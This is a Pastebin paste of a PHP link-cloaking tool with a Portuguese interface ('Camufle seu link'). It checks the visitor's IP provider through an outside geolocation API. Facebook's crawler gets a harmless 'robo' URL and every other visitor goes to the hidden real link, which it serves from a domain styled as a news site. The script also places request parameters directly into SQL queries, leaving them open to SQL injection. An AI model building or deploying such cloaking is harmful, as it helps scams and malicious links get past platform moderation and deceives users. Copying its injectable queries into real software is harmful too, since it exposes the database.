Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- ob_start();
- ini_set('display_errors',1);
- ini_set('display_startup_erros',1);
- error_reporting(E_ALL);
- $servername = "xx";
- $username = "xx";
- $password = "xx";
- $dbname = "xx";
- // Create connection
- $conn = new mysqli($servername, $username, $password, $dbname);
- // Check connection
- if ($conn->connect_error) {
- die("Connection failed: " . $conn->connect_error);
- }
- if(isset($_GET['redirect'])){
- $code = $_GET['redirect'];
- $ip = $_SERVER['REMOTE_ADDR']; // the IP address to query
- $sql = "SELECT * from relink where code='$code'";
- $result = $conn->query($sql);
- if ($result->num_rows > 0) {
- $row = $result->fetch_assoc();
- $ip = $_SERVER['REMOTE_ADDR'];
- $j = file_get_contents('http://www.localizaip.com.br/api/iplocation.php?ip='.$ip);
- $j = json_decode($j);
- if(strstr($j->provider,"Facebook")){
- header("location: ".$row['out']);
- } else{
- header("location: ".$row['url']);
- }
- }
- } else if(isset($_GET['url']) && isset($_GET['robo'])){
- $code = md5(rand());
- $url = $_GET['url'];
- $location = $_GET['robo'];
- $sql = "INSERT INTO relink values(null,'$code','$url','$location')";
- if ($conn->query($sql) === TRUE) {
- echo "http://noticiasagora16.com/?redirect=".$code;
- }
- } else{
- ?>
- <!doctype html>
- <head>
- <title>Camufle seu link</title>
- <style>
- body{
- background: url(http://ap.imagensbrasil.org/images/BG_FUNDO.png);
- }
- </style>
- <script src="https://code.jquery.com/jquery-3.1.1.min.js"></script>
- <script>
- function criarlink(){
- url = $("#url").val();
- robo = $("#robo").val();
- if(url == '' || robo == ''){
- alert("caixas vazias!");
- return;
- }
- $.get("?url="+url+"&robo="+robo, function(c){
- $("#pre").slideUp();
- $("#output").val(c);
- $("#out").slideDown();
- });
- }
- </script>
- </head>
- <body>
- <center>
- <br><br><br> <br><br><br>
- <h1 style="color: #000; font-size: 38px;">Camufle seu url!</h1>
- <div id="pre">
- <input type="text" id="url" name="url" style="padding:15px;width:350px;" placeholder="camufla url"/>
- <input type="text" id="robo" name="robo" style="padding:15px;width:320px;" placeholder="URL robo (link que facebook vai identificar)"/>
- <button style="padding:15px;" onclick="criarlink();">Criar link</button>
- </div>
- <div id="out" style="display:none;">
- <b>seu url</b>
- <input type="text" id="output" name="url" style="padding:15px;width:350px;" value=""/>
- </div>
- </body>
- </html>
- <?
- }
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement